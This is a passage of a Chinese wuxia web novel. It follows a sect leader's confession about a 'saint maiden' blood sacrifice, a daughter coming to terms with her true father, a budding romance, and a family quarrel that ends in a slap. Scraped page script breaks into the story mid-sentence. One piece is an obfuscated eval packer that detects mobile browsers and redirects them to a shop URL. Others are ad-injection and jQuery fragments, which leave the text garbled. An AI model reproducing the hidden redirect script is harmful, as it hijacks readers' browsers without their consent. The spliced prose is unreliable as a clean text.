后来,随着仙人授宝之事逐渐湮没,“圣女”制度也不复存在。苏明启矢志重获宝藏、光复天魄门往日荣耀,才在古籍中找到一些关于“圣女”的记载,并以此为据,安排心腹去追寻褚慕瑶的后人,期待从他的后代中找到堪为圣女之人。 功夫不负有心人,圣女终被寻回,抚养圣女之人也因此被破例拔擢为右护法。当时文远骥还是苏明启最器重的弟子,苏明启筹谋时也甚少避讳他。他由此得知,圣女能够辟毒,除本身体质特异外,还需日日服用解毒药物以养其血。养到一定岁数后,就以圣女之血抛洒洞口,用以震慑藏宝洞中的毒物。 如此一来,圣女断无生还之理。文远骥绝对不能接受晗月成为文远骥探寻宝藏的祭品,于是直言进谏,提醒苏明启古籍所载未必可靠,且枉害人命不合道义、亦损阴德。不如先寻到藏宝之地,从外围打开小口,若真有毒物从中爬出,可以抓来研究灭毒之法。这样既能接近宝藏,又不伤天害命。 哪知,这番话被苏明启斥为“妇人之仁”。在他看来,晗月不过是一个没几年就会死的女人,本就没什么价值,能因天魄门的大业而死是她一辈子都不可企及的造化。倘若为了她耽搁了寻宝,让自己的抱负功亏一篑,无论是晗月还是他文远骥都担待不起这桩大罪。 文远骥清楚苏明启的脾气,知道若第一次劝不住以后就再也不可能改变他的想法。而且进言之后,苏明启便明显表示出对他的不信任,凡是和圣女有关的事情,都不再和他商量。无奈之下他找到许淑平,将全部实情告知于她,请求她利用照顾晗月身体的机会多关照她,并设法从苏明启那里继续探听他的下一步计划。 许淑平知道厉害,当即答应。因此她在第一时间探知苏明启已经破解了藏宝之地,打算不日带圣女出发之后,才力劝苏茂霖带圣女出逃。圣女失踪后苏明启勃然大怒,门中凡是知道晗月身份之人,已经当天的守卫们都被关起来审问。然而除了从守卫口中得知晗月是和苏茂霖一起下的山之外就一无所获。与此同时,派去追索二人的门人也无功而返。当时文远骥还暗自庆幸,以为苏茂霖带着晗月躲过了师父的追索,从此便可以过安生日子了。 可是,无论是他还是苏明启,实际上都被骗了。在他们之外尚有一个人早就窥伺在侧,趁着苏茂霖和晗月脱离天魄门,力量最为薄弱之际一举将二人擒获。苏茂霖被困在地牢七年才侥幸逃脱,重获自由。晗月因为怀有身孕,被小心关押直至生产。据晗月后来所说,孩子生下后她几番恳求,看押她的人动了恻隐之心才答应把孩子送走。否则按照幕后之人的野心,说不定会把孩子秘密收养起来,这样即使晗月了,也会有新的圣女可以为他们所用。 后来文远骥得到消息,请许淑平帮忙救出晗月。晗月已知自己作为“圣女”的身份和使命,在门内因门主之位纷争未定之时,自承身份,并表示愿意嫁给文远骥为妻。天魄门内斗日久,魏菘泽一派一直未能占据上风,圣女的出现让一些左右摇摆的旧属倒向文远骥。文远骥这才最终坐上了门主的位子。 十年前参与夺门之变的人的目标其实也是晗月,晗月被俘,被作为人质要挟许淑平交出藏宝图本就是一石二鸟。即便许淑平手握藏宝图,愿意用它来换晗月的性命。那些人拿到东西的下一刻,一定会违背承诺将晗月带走。正是因为清楚地知道这一点,加上她的身体每况愈下时日无多,还有因见到苏茂霖,得知他不肯原谅自己产生的强烈负罪感,几种因素叠加在一起才致使她选择撞在刀刃上,以自己的性命解开危局。 晗月死后,文远骥就担心有心之人迟早会发现晗月当年生下的女儿还活着,为了她的安全,才和许淑平商量,让她隐匿在不起眼的含山县。然而凶案连发,紫璇为天魄门出力,再小心也难免露出行迹。 只要是稍微熟悉天魄门的人,得知文远骥有两个女儿,自然会怀疑其中一个是晗月所生,那么接下来,觊觎宝藏又知道圣女内情的人就一定会设法拿住紫璇。所以他才要求紫璇不得下山。但只要藏宝图之事一日不平,就永远无法釜底抽薪,紫璇将随时处在危险之中。 每当想到这里,文远骥都追悔莫及,恨自己为了一己私利害了他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758588|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母女。当年晗月为了自己、为了天魄门已经付出了生命。紫璇养在她膝下,他更不愿意看到她步晗月的后尘,可是当决定是否要按照门中旧例奉紫璇为圣女时,当葛宏丰来逼问圣女是否还在时,他都没有坚决抵制,而是让一切又回到了自己最不想重蹈的覆辙上。 文远骥讲到这里,内疚与悔恨几乎将他的声音全部吞没,以至于他很难再说下去了。江邵谦与他心心相印,自然知道他心痛的是什么,即便不忍,也还是转过头来,盯着苏茂霖的一举一动。他怕苏茂霖一激动,又要不顾性命地和师兄相搏。 苏茂霖从未听说过“圣女”,更想不到原来父亲把晗月养在门中竟然是为了这样一个龌龊的目的。他还满心欢喜地以为父亲乐见自己与晗月成婚,却原来……一切都只是为了利用,为了成全他的野心。消化这些已经耗去了他几乎所有的心力,震惊过后更多的是伤心和对自己如此无知天真的埋怨,他默默听着,一句话都说不出来。 可当文远骥讲到紫璇或许也将面临和晗月相同的命运时,他坐不住了。他再度冲向文远骥,指着他的鼻子难以置信道:“你……你怎么忍心……她那个时候还是个孩子!” 文远骥闭上眼睛,已经准备好对接下来的狂风暴雨逆来顺受,这是他应得的。但江邵谦却不认为这一切都是他的错,他斜出一步拦在苏茂霖前面住:“四弟!” 又马上出言为文远骥辩解:“师兄从来都不同意让紫璇接替晗月做什么‘圣女’,也从不打算逼她为了任何人、任何事而牺牲。这一次如果不是那些人被魏菘泽撺掇上门来,拿着师父的遗命和天魄门脸面做文章,我们也不会如此被动,承认圣女尚在。” “就算这件事是你们被迫的,那紫璇的身体是怎么回事?!若不是你们早就计划好了,又有许淑平这个杏林高手,她的身体怎么会寒凉至此!”苏茂霖的气性上来,又恢复了刚上山时的样子。 江邵谦皱着眉头,耐心说道:“紫璇是晗月的女儿,体质本就与她无二。而且她出生时就被人顺着流水送走,也不知道过了多久才被捡到。正月正是寒冬时节,她的寒症比晗月严重,极有可能是先天不足和一出生就遭遇不测叠加造成的。至于辟毒,师娘斟酌过,将来势必有一天那些觊觎宝藏的人会知道她的存在,到了那个时候,他们根本不会管她是不是真的能避开毒物,一定会想法设法地抓住她,甚至通过毒物来试出她的身份。与其等着紫璇被折腾掉半条命,不如先让她真的具备辟毒的本事,这样即便有不测,她也能多一道防线。” 这次苏茂霖的理智很快回归,他颇有些窘迫地看向文远骥:“原来是这样,我又错怪你们了。” 文远骥摇了摇沉重的脑袋,苦笑道:“我答应了晗月要替她照顾好璇儿,是我食言了,你怪我并不算错。” “怎么能算师兄的错!”江邵谦大声道,“有错的自始至终都只有魏菘泽一人!要怪、要追责也只需要找他!” 这一回苏茂霖终于抓住了这个名字,他立刻应和起江邵谦所说的话:“对!魏菘泽!他已经害了晗月,我绝不可能让他再将爪子伸向璇儿!” 153. 接受 关于要不要把圣女之事和如今紫璇将面临的危险处境告诉她,江邵谦和苏茂霖都觉得,只需要提醒她针对天魄门的人肯定会想法设法抓住她,让她当心即可,至于残酷的圣女制度没必要说出来让她烦忧。 文远骥想了想,也不忍心一下子让紫璇受到两重冲击,点头同意了。 然后说到苏茂霖如何面对紫璇、紫璇会不会认他的事。 “璇儿一向聪明,就凭着你和她说的那么些只言片语,竟然就猜出了自己的身世。也不知道她是如何独自一个人承受这件事的。”想起总是坚强自立的紫璇,文远骥心疼道。 “刚刚她只看着你说话,只对你发脾气,就知她很眷恋你。或许他根本不打算认我。”紫璇刚才连看都没看他一眼,就说明她在乎的只有文远骥一个人,想到这点,苏茂霖的心再次揪痛起来。 “突然得知自己的父亲另有他人,任谁都会难以接受,先给她一些时间。”这般情形,仿佛是两个人在争夺女儿。文远骥不好开解他,只能先嘱咐他不要心急,以免将紫璇越推越远。 苏茂霖如何不知,自诮道:“从她出生到现在,我没有为她做过一点儿事,就算她这辈子都不肯认我也是应该的。” ******************** 自道破真相后,紫璇就一直躲在晗月房中,没有发出任何声响。紫瑛和瑾瑜都在门外,也都不敢进去打扰。 文远骥料到她必然在这儿,和苏茂霖刚刚谈完便立刻来这里找她。苏茂霖也远远跟在后面,哪怕一眼,他也想看看紫璇。 紫瑛见到父亲来,忙跑过去。 “璇儿在里面?”文远骥立马问她。 “对,进去好久了。”紫瑛不安道。 文远骥没有再说什么,而是上前轻轻敲了一下门:“璇儿,是我。” 没有回应。 文远骥又敲了一下,斟酌道:“你……怎么样?你想知道真相的话,随时来找我,我……” 他话没说完,门就被霍然拉开。紫璇脚步不停,丢下一句“我不想听!”便绕开他奔了出去。瑾瑜随即追上,紫瑛觑着文远骥的脸色,又瞥见站在老远目光跟随着紫璇的苏茂霖,还是想不出来到底发生了什么。 文远骥哀叹了一声,脸色前所未有的颓败,紫瑛赶紧问要不要送他回去。文远骥仍是点头,低声道:“你跟我来,正好要跟你说一件事。” 苏茂霖目送两人远去,才缓缓上前,在洞开的房门外瞄了一眼,马上认出这是晗月的房间。他不受控制地走进去,看着一件一件晗月十五六岁时在天魄门用过的旧物件,再一次悲从中来,趁着无人放声大哭。 瑾瑜追上紫璇时,她已经跳上了后山的一株大树,闷声哭着。瑾瑜便继续守在树下,一直到紫璇哭够了,才听她叫了声:“你上来吧。” 坐到她的身侧,紫璇便十分熟稔地靠在他怀里。他抬起一只胳膊紧紧拢住她,等她说话。紫璇隔了一会才开口,仿佛心被装满后再也盛不下东西一样开始倾诉。从她小时候如何渴望得到文远骥的关注,无论练功多么苦都咬牙坚持,到她被送到秋山居后连年累月见不到文远骥的暗自难过,再到昨天晚上文远骥告诉她晗月对她的自责愧疚以及自己却总是埋怨她不够爱她的懊悔。说着说着又哭了起来。 瑾瑜将她整个揽在身前,让她能够在自己怀中尽情发泄。听着她闷闷的哭声,瑾瑜也不免心里发酸,幼年的她是如何扛过来的? 过了很久,紫璇的声音才再度响起:“我刚刚……是不是很不礼貌,爹他本来是想和我好好说的。” “不怪你,这样难以接受的事情,你不舒服、想躲开都太正常了。文门主体谅你,必然不会因此而生气。”瑾瑜的声音在她的头顶上荡开,令人安心不少。 “我……我只是……我还没有准备好听他说话,听他亲口告诉我,我不是他的女儿。” “那就等你准备好了再听。他们瞒了你十八年,没有道理反过来要求你一天内就全盘接受,你只管晾着他们。” “我没有怪他们。” “我知道。我只是想告诉你,你的反应没有错,不用担心。” 又停了一会儿,紫璇问道:“那林茂呢?我……我也不知道以后要怎么和他相处,我……要认他吗?” “认或是不认都有道理。认,以后就有两个父亲疼你,岂不是很好?不认,让林茂也尝尝你受过苦,也好!” 紫璇从他怀里抬起头,嘟囔道:“这又不是他的错。” 瑾瑜见她眼睛虽然红肿,却比刚才在房门口见到的要明亮许多,心内稍安。 “这种事情没有正确答案,你怎么做都行,随心便好。反正日子还长,你慢慢想,吊着他们,让他们急。” 紫璇扁了嘴巴,像是央求一般说道:“我不知道,太难了,我现在不想想。” “那就明天再去想。” “那你陪我。” “好。” 失眠了整晚,又度过了漫长一天的紫璇终于靠着瑾瑜睡着了。 直到第三天中午,紫璇才出现在了文远骥的书房外。 文远骥仔细端详了她的脸色,除了眼睛有些泛红之外,已经和平日没什么两样,看上去似乎很平静。 他将人让进来,将前日在政事堂中对苏茂霖说过的晗月怀孕被掳然后艰难生下她的事情又讲了一遍。自然,他没有提起任何有关圣女的事情,在紫璇听来,只会觉得敌人是为了门主之位,打算拿晗月牵制另外两个竞争者才做出一些列事情。 文远骥趁机提醒她,先前她被追杀也是因为如此。对方没有得手,未来必然还会有所行动。紫璇当然明白,表示自己会小心提防。 瑾瑜一直等在外面,只道书房门打开,从里面走出来的紫璇并没有落泪,他才稍稍放心。陪她一直走到山庄内的客居之所,紫璇突然说:“我有点害怕。” “怕什么?” “我又怕和林茂谈,又不喜欢让这件事继续拖着。” “要不要我陪你一起去?” 犹豫了片刻,紫璇最后还是选择了摇头:“我可以,你在外面等我。” 已经过了午饭时间,桌上的菜还未动,苏茂霖神色惆怅,一点儿也没胃口。敲门声响起,苏茂霖前去开门,见来的竟然是紫璇,瞬间激动不已。可他又怕吓到她,只好极力克制着。 紫璇面无表情 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地坐下来,看着一桌菜没有出声。苏茂霖马上解释,自己还不饿,所以没动筷子。 紫璇知道,他吃不下必定和她有关。她不好意思直接劝,便给自己盛了一碗饭,头也不抬地说道:“我也没吃午饭呢,正好。” 苏茂霖这才拿起自己的碗筷,学着她勉强扒拉起饭菜。一面吃着,眼神一面不住地飘向坐在自己身侧的紫璇。见她吃得似乎很认真,就更加不敢出声,生怕哪一点做得不好令她不快。 “思瑶呢?”紫璇吃到一半,突然问道。 “我把她托付给了阿力,她还小,无需跟着我奔波。” 又等了一会儿,紫璇才说了第二句话:"这是我爹特定叫人做的菜。" 苏茂霖心中一酸,尽量学着她的样子平静说话:“我知道。这两道菜,是晗月以前最爱吃的。这两道,是……我爱吃的。大师兄他……有心了。” 紫璇停箸,半响后方指着苏茂霖刚刚提到的其中一道菜:“这也是我爱吃的。” “真的?”得知女儿竟和自己有一样的口味,欣喜之下苏茂霖的声音都有一些颤抖。他立刻给紫璇夹了几筷子,放到了她的碗里。 紫璇没有拒绝,吃了几口后才终于下定决心,放下碗筷说道:“其实我来,是要和你说几句话。” 她慢慢抬起头,直视着苏茂霖的眼睛:“我想了几天,还是没有答案,不知道到底应该怎么对待你。毕竟我已经做了十八年另一个人的女儿,很难接受我还有另一个爹……” 听着紫璇的话,苏茂霖心痛难忍,原本看着她的眼睛也变成了盯着自己的饭碗。 “我不是怪你,只是我自己还需要一点儿时间……”看着他这样,紫璇也不自觉地解释起来。 “我明白,我懂。我不会逼你的。其实能像这样和你一起吃一顿饭坐上一会儿,就……就很好了。以前我欠你的,一定会慢慢补给你。” 紫璇无语凝噎,半天才说出一个“好”字,然后在自己哭出来之前,起身跑了出去。林茂不敢追过去,只能看着她逐渐远去的背影,再一次没能抑制住自己的眼泪。 紫璇一见到瑾瑜,眼泪就再也止不住,趴在他身上哭了起来。 瑾瑜一下一下拍打着她的后背,安慰她道:“你已经足够勇敢了。不管你做了怎样的决定,他们都会理解你的。” 待紫璇觉得好些,才带着些许哭腔对他道:“谢谢你。” “谢我什么?我什么都没能帮上你。” “我遇事不决的时候,都是你在开导我,帮我出主意。” 瑾瑜笑着摇了摇头:“你心里面一直都有答案,只是需要一个人来帮你说出来而已。就算没有我,该怎么做你还是会去做的。我呢,最多就是有那么些陪你难过的功劳而已。” 紫璇也笑了:“那你再陪我一会儿。” 瑾瑜将她搂得更紧了一些:“只要你需要,我会一直一直陪着你的。” 紫璇笑意愈盛,带了一点娇嗔道:“那你陪我去看星星吧。拔仙台高耸入云,在那里抬头看天,真的会有‘手可摘星辰’之感。” 她能有这样兴致,瑾瑜欣慰不已,这件事终于不会对她造成太大困扰了。 154. 恼恨(一) 瑾瑜抱着睡着的紫璇轻手轻脚地踏入赤霞山庄时,碰上了正坐在山庄内一处凉亭对谈的文远骥和苏茂霖。 被二人齐刷刷盯着,红色唰地一下就蔓延到了瑾瑜的耳朵根上,背上也浸出了一层冷汗,可他此刻一点儿也不敢乱动,连一个字也不敢说,否则紫璇醒来只会让她也变得尴尬。他稍微冲二位长辈点点头,然后继续朝紫璇的卧房走。 安顿好紫璇后,他一刻都不敢在房里多待,立刻轻轻带上门,自觉站到了文远骥和苏茂霖的面前,低下头,等二人发话。 “她还好吗?”文远骥问。 “好多了,哭了一场,心情好些了,还会偶尔说几句玩笑话。这件事,她应当已经放下了。” “难为你一直陪着她。” “我……只要璇儿能好过一些,我做什么都是应该的。”瑾瑜小心说道。 文远骥看向他的目光愈发仔细,瑾瑜被瞧得不好意思。苏茂霖的鼻孔发出怪声,然后说了一句令人哭笑不得的话:“你竟然能管她叫‘璇儿’……” 文远骥瞄了他一眼,心中觉得好笑,但没有说话。 瑾瑜大窘,忙对着二位郑重行礼:“晚辈倾慕紫璇姑娘已久,明知高攀也还是抑制不住对她的心意,幸而紫璇姑娘不弃……这件事了后,要是二位前辈不反对,紫璇姑娘也愿意的话,我会马上回家禀明父亲,请求他允准,然后来天魄门提亲。” 最后一个字说完,他才敢大口呼吸,同时紧张地等待着两人的回应。 苏茂霖还在审视他,文远骥先开口道:“那你母亲呢?不需要问问她?” “我母亲见过紫璇姑娘,也很喜欢她。我想着,她应该不会反对,所以……” “你小子!下手这么快,竟然把她拐去见你娘?”林茂鼻孔微张,显然对此很是不满。 瑾瑜不得不将自己和紫璇被虹漕帮围捕,如何借助长风镖局逃到栖霞山求母亲庇护的事情说了。听完这些苏茂霖的脸色才好看了一些。 文远骥笑道:“姻缘自有天定。只要璇儿点头,我们肯定不会反对。你只要记得一直对她好就可以了。” “要是你敢欺负他,我一定收拾你!”林茂也道。 瑾瑜大喜过望,立刻赌咒发誓,承诺自己绝不会辜负紫璇。 ******************* 得知紫璇的身世后,紫瑛就再没有和紫璇说过几句话。虽说整件事和她半点关系都没有,以后也不会对她产生什么影响,可她就是觉得难受、不开心。她自己也说不上为什么,而且正因为不知道为什么,她就更加沮丧。 同样有些沮丧的还有刚回来没两天的江珺翊。紫璇在贺家庄外失踪后,他被派往江南查探,之后又得到文远骥的传信,说紫璇已经有了下落。他这才回转,回到了天魄门。 紫瑛碰到他,看他似乎闷闷不乐,关心道:“你怎么了?” 江珺翊摇头不语,还是那个有事只会自己抗着的闷嘴葫芦。 紫瑛撇撇嘴,也不想和他啰嗦,直接将自己的猜想说了出来:“莫不是和长风镖局的熙宁姑娘有关?” 江珺翊猛地抬头,对上她探询的目光后又立马垂下,支吾着:“你……你怎么知道?” “在贺家的时候,你总围着她。你一向不怎么和女孩说话,光是这一点就够蹊跷了。” 江珺翊又变作了哑巴,紫瑛瞧着越发烦闷:“你这是做什么,要是喜欢人家就去追啊,干嘛躲在这儿伤春悲秋的。” “我……”江珺翊欲言又止。 紫瑛想了想:“你害怕二叔不答应?” 江珺翊这才点了点头。 “虽然二叔严厉,但也不至于阻了你的好姻缘吧?何况熙宁家世好,她父亲又和天魄门交好,二叔没有不同意的道理。” 江珺翊摇头:“你忘了?” 紫瑛起初摸不着头脑,过了一会儿才反应过来:“你是说紫璇?” 江珺翊又点头。 “你怎么那么死脑筋!”紫瑛没忍住笑出了声,“就算爹和二叔两人提过这么一嘴,但那都是小时候的事了。更何况他们也没问过你俩的意思呀。爹那么疼璇儿,肯定以她的意愿为先。紫璇明显更喜欢那位方公子,你放一百个心吧。” “真的?”江珺翊明显松了一口气,从他苦了许久的脸蛋上终于迸发出喜悦。 “当然是真的。方公子就在门中,你要是不信自己去问他好了。” “不用不用,你说的我都信。”江珺翊拍了一下掌,似乎一件麻烦事终于消失了。 他的脸变得这样快,跟个孩子一样,紫瑛有些无语,又问:“二婶好吗?她不会和二叔还在闹别扭吧?” 江珺翊再次叹了口气:"每逢年节都是如此。”又问她,“这次又是为了什么?我问娘,她还是什么不肯说。” “也不是什么大事。就是年前,二婶既要忙着置备咱们过年要用的东西,还要帮着固元堂为门中没了男丁的遗属筹备和分发年货,忙得脚不沾地,还因为好几天都吃不上一顿热乎饭犯了胃疾。但是二叔不知道这些,他只在乎马上到日子了,该发下去的东西还有许多人没领到,就冲二婶发了脾气。” “我娘可有替自己辩解?” “有倒是有。二婶当时辩解说赤霞山庄和穿云馆还有许多事没办好,她根本忙不过来才耽误了那边的事情。可二叔听了却骂她找借口,还说家里的事情都是她平时做惯了的,哪有那么劳神费事。最后甚至搬出我娘来,说她在的时候,从来都不会出现这种纰漏。二婶听了,心里得多不是滋味。” 江珺翊攥着手,没有说话。 “我娘当年能办得一切妥帖,也不是靠她一个人。首先我爹就经常过问,没让她一个人又做这个又做那个的。二叔不帮着二婶,看不见她的辛劳,还老是冲她发火。二婶能一直忍着,还赶着在年前把东西发到每家每户手里,真是不容易。”说起此事,紫瑛忍不住要替庞氏抱不平。 江珺翊沉声道:“的确是我爹做得不对。” “不过也不能完全怪他。毕竟天魄门近来危机四伏,二叔担着守卫门户的重任,压力大、脾气燥一点也是有的。”紫瑛也能体谅江邵谦的不易,故而说道。 “爹再不易,也不能无视娘的辛苦。不管怎么说,都不该把气撒到娘身上。” 这还是紫瑛头一回听到江珺翊批评江邵谦,她有些吃惊地盯着他,却没有从他脸上看到丝毫局促或是犹豫。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 回到穿云馆内,庞氏又呆在灶间忙碌。 江珺翊来到她身边,问:“娘,还在忙?” 庞氏侧身瞟了一眼一向懂事听话的儿子:“除夕那天你没在,没吃着我专门给你做的焖肉。正好还没出十五,我赶着再给你做一碗。” 江珺翊眼睛有些湿润,半响没有回话。 “怎么了?不想吃?” “没有,”江珺翊马上道,“就是觉得娘要操持家中大小事,还要特地为我准备我爱吃的,太幸苦了。” 庞氏敛目笑道:“都是往日里做惯了的,不幸苦。” “怎么可能不幸苦,儿子和爹成日不着家,家里所有的活儿都让你一个人全干了。”江珺翊说着便瞅了瞅伙房,发现一侧的柴火已经快要见底,便道:“我去劈柴。” 庞氏微笑着看他离开。 母子两各自干活,稍过了一会儿,江邵谦从外面回来,看到江珺翊在伙房外劈柴火,有些不满道:“大白日的,你不去练功,在这里做什么?” 江珺翊立刻说了自己的理由。 “好好的帮什么忙?这些活让你娘干就行了,你快去练功!” “不成!娘已经累了好些天了,不能让她再一个人辛苦。我劈了这些柴,还要把家里的水缸全部添满。” “那得花多少时间!?”江邵谦喝道。 “爹!”江珺翊走上两步,凝视着江邵谦:“我做花的时间不少,娘来做岂不是更加费力费时?” 江邵谦瞄了一眼门内腾腾蒸汽中正在忙碌的妻子,脾气稍稍有些收敛,可还是说道:“这些都是家宅内事,本来也不是你该掺和的。“ 江珺翊屏息凝神,等来的还是这句话,便再也克制不住,当即撇掉手上的斧头,直着腰看向父亲:“爹,你错了。既然是家事,那就和我们俩都有关,娘要做,你和我也要做。她是你的妻子和我的娘亲,不是我们家的下人!” 他说话的语气渐渐加重,江邵谦的脾气也被点燃:“我是你爹!你怎么敢这样和我说话?!” 江珺翊并不退缩:“就算你是我的父亲,也要讲道理。儿子说得哪句话不对,你都可以当面反驳我,而不是……” 他停了下来,江邵谦却不依不饶:“而不是什么?说出来!” “而不是仗着你是父亲,就盛气凌人、欺压弱小。这不是你平日里教给我的道理!”江珺翊梗着脖子,坚持把底下的话喊了出来。 “啪!” 江邵谦的巴掌落下,庞氏立刻放下锅盖跑了出来,护在江珺翊身前,对江邵谦怒目而视。 江邵谦硬按下升腾的怒火,冷冷道:“我教训儿子,没你的事,你让开!” “珺翊也是我的儿子!”庞氏寸步不让。 江珺翊跪下来,脖子仍旧梗着:“爹要责罚,做儿子的不能反抗。但我说的话没错,爹就是打死我,我还是这样想、也会这样说。” 江邵谦怒不可遏,可碍于妻子,却也不敢再次动手。 “爹要打就赶快吧。时间有限,儿子劈完柴挑完水,还得赶着去练功。”江珺翊犟道。 江邵谦看看他,又看看努力挡住儿子似乎要和自己拼命的庞氏,最终甩开袖子离去。 155. 恼恨(二) 苏茂霖与文远骥重修旧好,一场纷争消弭于无形,晗月当年的苦心最终奏效。虽然紫璇见到苏茂霖时仍不免有些不自在,但不会再冷这脸,父女俩只见偶尔也会说上几句话。 再过几天便是紫璇的生辰,苏茂霖便同文远骥商量,务必要给紫璇好好过个生日。 为此,他还特地下了一趟山,跑到凤翔府买了各季衣物、几样首饰和许多时新的吃食,送上山的时候不得不雇了个挑夫。紫璇看着赤霞山庄里摆着的两个大箱子,惊讶地合不上嘴巴。 苏茂霖尬尴笑着:“也不知道你喜欢什么,就各样都买了些。你看哪样好,就留下来。” 看着他如此笨拙地讨好自己,紫璇不由得心软,道了声:“都喜欢,谢谢。” 为礼物忙碌的不止有苏茂霖,瑾瑜这几天也总见不到人,问他在做什么他也是支支吾吾的,只说让她等,过两天就知道了。直到他耸拉着脸地捧着一堆黑不拉几的土疙瘩出现的时候,紫璇才知道,原来他一直在尝试给自己做一个瓷娃娃,就像在金陵的夜市上见到的那样,不过要烧成瓷的,这样就可以长期保存了。 凭借在李家瓷窑里学来的一知半解的知识,他先是澄洗黄土、拉坯塑形,再给娃娃上色施釉,做得有模有样,可放进炉子后却怎么也烧不成功,不是陶坯在烧的过程中裂开,就是上的色飞了,总而言之,这一回的礼物算是彻底没了着落。 “我瞧着你对表嫂家里烧的小玩意儿那般感兴趣,就想着亲手给你做一个,没想到这么难。”瑾瑜微微撅着嘴巴,语气里全是懊恼和委屈。 紫璇看着他脸上没有擦干净的黑灰,觉得好笑,同时还有些甜蜜:“我听李家姐姐说,烧制瓷器要用专门的窑口,用多少柴,何时增减都有学问。你只跟着齐大哥看匠人拉坯描画,可从没研究过窑要怎么搭,柴要如何烧。像你这样随便垒一个,就是烧到地老天荒也不会成功的。” “好吧,我说呢,原来是因为这个缘故。明天就是你的生辰了,我没有礼物送你,可怎么好,” 紫璇故意装出和他一样的苦恼模样,片刻后方道:“你在这里,就是最好的礼物。” 听到这句熟悉的话,瑾瑜原本绷住的脸瞬间松了下来,咧着嘴和紫璇笑了一阵,最后道:“话虽这样说,可这毕竟是一年才有一次的大日子,又是我给你过的第一个生日,可不能这样随便。先让我欠着,之后我一定给你补一个礼物。” 他看着紫璇,认真道:“或者你有什么想要的,告诉我,我送给你。” “嗯……”紫璇托着脑袋想了想,“我想要你之前送我的那只梅花玉簪。” “怎么想起了这个?”瑾瑜的眉眼和嘴角一样弯。 “我的首饰不多,那只我很喜欢。” 紫璇小心翼翼吐露心思,瑾瑜笑得更加欢畅:“娘替我收着呢,等我管她要来,然后……”他停下来,笑容也变得羞赧起来。 紫璇仰起头,用眼睛问“然后什么?” “然后亲手帮你带上。”瑾瑜凑近一些,盯着她的眼睛说出了下半句话,紫璇听来只觉得情意绵绵,无法招架。 二人早就商量好,等过完了生日便赴金陵去看望齐雅雯,弥补瑾瑜未能陪她过年的遗憾,顺便也要告诉她他和紫璇的好消息。文远骥听说后也并未反对,只是提醒紫璇,鉴于目前的形势,她和瑾瑜上路时最好乔装打扮,若遇上危险便就近找到贺家消息据点来报讯,切不可一个人硬抗。 生日当天,庞氏操持,为紫璇准备了个简单的生日宴。一家人围坐在一起,也算是抓住年的尾巴,好好聚一聚。 文远骥率先拿出一柄短剑,对紫璇道:“你一直没有自己的兵刃,是我疏忽了。这把剑是我依着你的臂长和身量专门请人为你打造的,比寻常的剑短,也更为轻巧。你的近身功夫极好,短兵刃反而更加衬手,使出来的威力也更大。” 紫璇接过来,眼中全是惊喜。 看到她开心,文远骥便知自己的礼物送对了,于是笑着继续:“你仔细瞧瞧,这剑可有什么特殊之处。” 紫璇仔细从剑身看到剑柄,惊讶之意愈甚:“这是把双股剑。” 她以内力退去剑鞘,右手握剑,随之左手用力,将剑分作两边。两面剑身均是极薄,触手可弯,显然是精钢打造。紫璇大喜过望,立刻俯身跪地,向文远骥道谢。 文远骥急忙把她扶起:“父女之间,客气什么。” 苏茂霖在一旁看着,虽然心里很不是滋味,却也没有立场表现出任何不快。 江珺翊和瑾瑜纷纷向她道贺。江邵谦和庞氏也拿出自己的礼物,庞氏的是一些紫璇少时爱吃的点心,江邵谦的则是守冲堂最新打造的暗器。 紫瑛姗姗来迟,但是给她带了一盒胭脂:“这是我亲手淘制的,用的是梅花,你虽不爱这些红的,但偶尔用上一点儿,会显得气色好一些。” 紫璇收下,真心地说了声:“多谢。” 接着,庞氏便端出一道道菜品,众人边聊边吃,不亦乐乎。就连江邵谦和庞氏也说了几句不咸不淡的话,不似过去几天那样冷谈。 饭后,有守山的弟子来报,说山下有一位姓杜的公子要找紫瑛姑娘。 江邵谦一听姓名,便知是上一次送紫瑛回来的杜彦成,立刻着人把消息送到了紫瑛那里。紫瑛听说后连忙跑下山去。 杜彦成单人单骑,裹着一袭大鳖,等在山脚。脸上没有多少血色,身子蜷在马上,似乎很不开心。他一看到紫瑛,立即跳下马走了过来。 “你……怎么到这里来了?”紫瑛跑得很快,说话的时候还有些气喘,脸蛋儿也红扑扑的。 “我……”杜彦成顿了顿,“你不是说,我要是有什么心里话想找人倾诉,可以来找你吗?” 紫瑛抬头对上他的眼神,从中看出了一般紧张、一半期待,仿佛在恳求她。紫瑛马上心软不已,露出一个安抚的笑容:“那当然,我的耳朵一直都在。” 杜彦成这才笑起来。 两人下到镇里,找了一家小小的酒馆。刚刚落座,杜彦成便迫不及待地说起自己回家之后的遭遇。他的父亲恼他没有办好差事,耽误了家中原本的计划,发了好大的脾气,甚至连“不配做他的儿子”都说了出来。 杜彦成自问为了达成父亲的要求终年奔波,不敢稍有懈怠,上一回的确是因为没办法的因素才导致计划失败,可父亲却只会把责任都算到他的头上,他委屈不已又不敢反驳。一腔闷气无处诉说才任性从家里跑了出来,不远千里来找紫瑛。 紫瑛很是心疼:“你爹怎么可以这样?你差点葬送掉一条性命,他都不曾担心半点吗?” 杜彦成笑容苦涩:“在他眼里,我的命恐怕一点儿不重要。” “怎么会呢?你是他的孩子,哪儿有父亲不爱自己的孩子的?” “不,你不知道,他心里只有他的大儿子,根本就瞧不上我。” “你还有个哥哥?”紫瑛一直以为他是家中独子,是以奇道。 “不算是。我和他同父异母,平日里也少有往来。他娘是我爹的心爱之人,连带着他也是我爹的心头肉,磕不得碰不得。我娘跟了我爹,每日为他操劳却不得善终。就连我也只能拼命努力,才能获得他偶尔看过来的一眼。” 说到这里,杜彦成的眼睛已然发红,只是一直忍着才没有在紫瑛面前落下泪来。 